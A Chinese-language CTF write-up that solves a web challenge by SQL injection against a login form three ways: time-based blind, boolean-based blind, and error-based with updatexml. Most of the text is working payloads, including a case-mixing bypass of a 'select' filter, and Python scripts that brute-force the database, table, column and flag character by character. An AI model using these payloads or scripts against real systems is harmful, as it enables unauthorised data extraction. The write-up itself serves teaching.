1. 程式人生 > 資料庫 >一道題講懂SQL盲注 / [第一章 web入門]SQL注入-2

一道題講懂SQL盲注 / [第一章 web入門]SQL注入-2

概述

本題是一個盲注題,可以基於布林也可以基於時間,如果不會的話可以根據提示在網址後面加一個?tips=1降低難度成為一個基於報錯的盲注。
本題所有指令碼均用傻逼爆破,沒有用二分法,有興趣的大佬可以根據我提供的指令碼二次開發,可以的話在評論區給個連結(菜雞對二分法不是很懂,覺得寫指令碼的時間還不如等爆破完成)

解法一:基於時間

在這裡插入圖片描述
直接在前端進行注入的話沒有報錯回顯,所以需要抓個包然後開始測試。

測庫名

首先測試庫名長度

name=1'+or+if(length(database())=4,sleep(1),1)#&pass=asdasd

在這裡插入圖片描述
等了3秒,我們預設是sleep1秒,但是不知道為什麼睡的時間是輸入的3-4倍左右,不管了,反正長度是4(1-4慢慢試)

然後測試庫名:

  • 這裡補充一個知識點,MySQL的substr函式substr(a,b,c)a處為需要擷取的字元,b處為從第幾位開始,c處為擷取幾位。比如substr(database(),2,1)就是將資料庫名從第2位開始擷取1位,即取第二個字元(如果庫名為note結果就是o
name=1'+or+if(substr(database(),1,1)='n',sleep(1),1)#&pass=asdasd

在這裡插入圖片描述
過了三秒才有回顯,於是判斷第一位是n
寫個指令碼

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
flag = ''

length=4
for num in range(1,length+1):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("flag:" , flag)
            break
print(flag)

在這裡插入圖片描述

測試表名

注意,這裡‘select’被過濾了,可以使用雙寫繞過,也可以使用大小寫繞過

name=1'+or+if(substr((seLEct+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1,1)='f',sleep(1),1)#&pass=asdasd

測第一位,結果是f
指令碼:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
flag = ''


for num in range(1,100):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

在這裡插入圖片描述

測試欄位名

name=1'+or+if(substr((seLEct+group_concat(column_name)+from+information_schema.columns+where+table_name='fl4g'),1,1)='f',sleep(1),1)#&pass=asdasd

第一位是f,盲猜是flag,但是還是測試一下:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
flag = ''


for num in range(1,100):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("column_name:" , flag)
            break
print("column_name:", flag)

欄位名是flag
在這裡插入圖片描述

cat flag

查flag長度

name=1'+or+if(length((seLEct+flag+from+fl4g))=26,sleep(3),1)#&pass=asdasd

長度為26。

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct flag from fl4g),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,27):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        # print(data)
        t = int(time.time())
        r = requests.post(url = url , data=data)
        if int(time.time()) - t > 2 :
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

在這裡插入圖片描述

解法二:基於布林

分析

首先研究一下登入介面的報錯資訊
在這裡插入圖片描述
在這裡插入圖片描述
用admin登入,顯示密碼錯誤,用其他賬號登入,顯示賬號不存在。這樣子就說明了兩個點:

  • 預設使用者是admin
  • 使用者名稱欄可以判斷我們的輸入是True 還是False

burp抓包併發送試試:
在這裡插入圖片描述
在這裡插入圖片描述

admin:    {"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
w4ke:     {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

這裡都是頁面資訊,那麼我們可以根據這個資訊來進行判斷我們的輸入是否正確,構造payload:

name=1' or 1=1#&pass=asdasd

在這裡插入圖片描述
發現頁面返回的資訊是True,這裡解釋一下為什麼是True:

首先判斷username = '1'  ⇒  False
然後判斷 1=1 ⇒ True
False or True ⇒ True

所以只要後面構造的是True,那麼整個語句就是True,然後開始構造第一個攻擊指令碼

測試庫名

name=1' or length(database())=4#&pass=asdasd

在這裡插入圖片描述
資料庫長度為4

name=1' or substr(database(),1,1)='n'#&pass=asdasd

在這裡插入圖片描述
庫名第一個字母是n
構造指令碼:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
sql = "1' or substr(database(),%d,1)='%s'#"
flag = ''
for num in range(1,5):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

在這裡插入圖片描述

測表名

name=1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='f'#&pass=asdasd

在這裡插入圖片描述
表的第一位是f
上指令碼

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
flag = ''
for num in range(1,8):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

在這裡插入圖片描述

測欄位名

name=1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),1,1)='f'#&pass=asdasd

在這裡插入圖片描述
欄位名的第一位也是f

上指令碼:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
flag = ''
for num in range(1,13):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

在這裡插入圖片描述

cat flag

name=1' or substr((seLEct flag from fl4g),1,1)='n'#&pass=asdasd

在這裡插入圖片描述
第一位是n
上指令碼:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
sql = "=1' or substr((seLEct flag from fl4g),%d,1)='%s'#"
flag = ""
for num in range(1,28):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.05)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

在這裡插入圖片描述

解法三:基於報錯

首先題目提示難度太大可以在url後面加一個?tips=1,菜雞發現這邊可以顯示報錯資訊。
一般常用的報錯函式有extractvalue,updatexml等,用法差不多,這邊就用updatexml吧。

爆庫名

name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&pass=asdasd

在這裡插入圖片描述
這裡直接爆出資料庫名

爆表名

name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&pass=asdasd

在這裡插入圖片描述

爆欄位名

name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)#&pass=asdasd

在這裡插入圖片描述

cat flag

name=1' and updatexml(1,concat(0x7e,(seLEct flag from fl4g),0x7e),1)#&pass=asdasd

在這裡插入圖片描述